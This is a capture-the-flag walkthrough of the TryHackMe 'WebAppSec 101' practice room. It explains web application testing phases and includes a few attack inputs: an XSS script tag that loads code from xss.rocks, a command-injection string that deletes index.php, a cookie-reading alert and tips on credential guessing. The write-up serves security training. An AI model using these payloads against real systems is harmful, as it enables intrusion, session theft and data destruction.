THM write-up: WebAppSec 101

10 minutes to read

Link: https://tryhackme.com/room/webappsec101

Another day, another write-up on tryhackme challenge. I would prefer this walkthrough as a how-to basic on pentesting. Before we jump into the challenge, this box is originally written by aldeid. Actually I have a small concern regarding this room where user can easily break the machine which reduces the flexibility of the box. If you accidentally break the machine, do not worry! Just re-deploy the box and wait around 10 to 20 minutes. You also can use nmap to check for the open ports. There are a total of 15 vulnerabilities can be found on the machine. For the sake not to break the machine, I only explain the vulnerability based on the task.

Task 1: Enumerate

Every pentesting procedure starts with enumeration a.k.a information gathering. This stage allows the pentester to identify potential threats to the application. Let’s kick off our enumeration with the nmap scanner.

nmap -A -v <Machine IP>

You will notice there are 3 open ports discovered by the scanner specifically Port 22 (SSH), Port 80 (HTTP) and Port 111. For this challenge, we are only interested in the HTTP port.

Task 2: Web scanner

If you referred to my previous tutorial on web scanning. You should be familiar with Nikto and OWASP Zap scanner. Both scanners are used to identify the functionality of the web application. For this task, I’m going to use OWASP Zap scanner.

Task 2-x: Apache and PHP version

Launch your OWASP Zap scanner, select the automated scan and input the target IP address. After that, randomly select a scanned PHP and check for the response.

We are now able to identify the Apache and PHP version used by the web application. Let me ask you a question, why identifying the software version is so important for a pentester? The answer is we can launch the exploit based on the version and you can search all those exploits on expolit-db.

Other than identifying the exploitation, pentester will also try to figure out which page is vulnerable to certain functions such as cross-site scripting, SQL injection, upload malicious content, form brute-forcing, command injection and etc. We will talk more about these functions in later task. Now, let’s move onto the next phase, the modeling.

Task 3: Modeling or methodology

You can either go through the web application page by page or breaking down your methodology into several phases. Both methods have pro and con. If you go through the web application page by page, you are unlikely to miss the important pages and you can test all the vulnerabilities that apply on the page but it consumes a lot of time. On the other hand, breaking down into phases are more systematic and time-efficient which is good for web application with dynamic content. However, some important aspect might be overlooked. Both methods work for this challenge and I choose the second method (By phases).

Phase 1: Authorization

This phase will check the pages which authorize a user and admin to enter their credential. In the room we found two types of authorization which are:

• Admin (/admin/login.php)
• Users (/users/login.php)

Task 4: Credentials

After the authorization phase, we are now moving to the second phase which is authentication.

Phase 2: Authentication

The authentication phase involves a mechanism that allows the user to log into the web application. Authentication can be tested in the following ways:

• Brute forcing (such as Hydra)
• Weak credential
• Session management (Stealing the cookie)

1) Admin authentication

This is an easy task, the credential for admin page is an easy guess.

2) Admin’s session

The sessions are the mechanism used by the server to retains a state of the application. It is used to remember the user’s transaction and activity. On the worst-case scenario, the session will store the privilege level of a user. This state can be changed and escalate the user privilege. To check the session in the cookie, simply type the following JS code in the browser console.

alert(document.cookie)

Session state 3 belongs to the admin.

3) Looking for other users

In order to fully understand the application, you need to be one of the users. First and foremost, register yourself as a user.

After that, look for vulnerability as a user perspective. There is one particularly page vulnerable to parameter manipulation which is /users/sample.php?id=1

We can simply change the id number to look for other users. After a few searches, I stumbled across a user name Bryce. Now, we have the username, how about the password?

A same mistake like the admin. Both username and password are the same for Bryce.

Task 5: Cross-site scripting (XSS)

Phase 3: Injection (XSS)

XSS is a type of vulnerability by injecting malicious javascript into the web application even the websites is fully trustable. This exploitable redirect the victim to a phishing site or steal the session cookie as I did. There is a list of XSS payload available on the Internet. For the sake of simplicity, I used the following XSS for all the tasks

 <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

There are two basic types of XSS which are persistent (stored in the database) and non-persistent (not stored). You can inject persistent XSS on the guest.php while non-persistent in the search bar and file upload bar.

These are the three major locations which are vulnerable to XSS.

Task 6: Command and SQL injection

Command and SQL injection (SQLi) is another injection method besides XSS. This injection happens when the attackers try to input something out of ordinary.

Phase 3: Injection (SQLi)

This injection target on the web application database. By providing a malicious input, the attacker can pull, modify and delete all the data in the database. You can visit SQLi wiki for more information. Similar to the XSS, there are persistent and non-persistent SQLi. For this challenge, I’m going to show you the persistent SQLi which can be done on the user registration page.

The above input is the most common approach used for SQLi. The injection allows the attacker to pull all the registered user name from the database. For non-persistent SQli, you can refer to this proof of concept.

Phase 3: Injection (command)

This injection works for both Windows or Linux based server system. This injection is more toward the inner file system such as listing the directory/file, removing the file, reading the sensitive content and etc. The checkpass.php is more likely vulnerable to command injection.

As you can see, the grep command belongs to a Linux system. You can use a pipeline to inject the system by entering the following input into the field.

123|rm -f index.php #

This command will remove the index.php from the server. However, this action will break the machine. Please proceed with caution.

Task 7: Other vulnerability

The webserver is also vulnerable to exploits such as parameter manipulation, directory traversal, forceful browsing and logic flaws.

Phase 4: Client-side controls (Parameter manipulation)

I have shown you the vulnerability of searching user Bryce. The vulnerable located at /users/sample.php?id=

Phase 4: Client-side control (Directory transverse)

Directory transverse allows the attacker to access the file outside the webroot directory by adding ‘../’ on the URL or input field.

From the above example, the attacker able to overwrite the sample.php file by using directory transverse. As a result, the host might lose all the data.

Phase 4: Client-side control (Forceful browsing)

Forceful browsing is where the attacker access the restricted content either by brute-forcing the URL (gobuster and dirbuster) or locate the directory by performing some action on the website. For this challenge, we are going to access the high-quality picture by using forceful browsing approach.

Since we have 100 Tradebux available in the account, let’s buy something.

Phase 5: Logic flaw

The logic flaw allows the attacker to perform something that breaks the rule. For example, applying the coupon for multiple times until the price reach zero

Task extra: Vulnerable checklist

Let’s check what have we done to the box

1. ✔Persistent XSS
2. ✔Non-persistent XSS
3. ✔Session-ID
4. ✔Persistent SQL
5. Non-persistent SQL
6. ✔Directory traversal
7. Multi-step XSS
8. ✔Forceful browsing
9. ✔Command injection
10. File-inclusion
11. ✔Parameter manipulation
12. ✔Non-persistent XSS behind JS
13. ✔Logic flaw
14. Non-persistent XSS behind the flash form
15. ✔Weak username and password

We have done 11 out of 15 vulnerable of this room. Please refer to the link for the vulnerable that is not discussed within this write-up.

Conclusion

Well, I guess this is the end for the webappsec 101 write-up. Hope you enjoy it and see you later ;)

---

Thanks for reading. Follow my twitter for latest update

If you like this post, consider a small donation. Much appreciated. :)

---

Vortex

---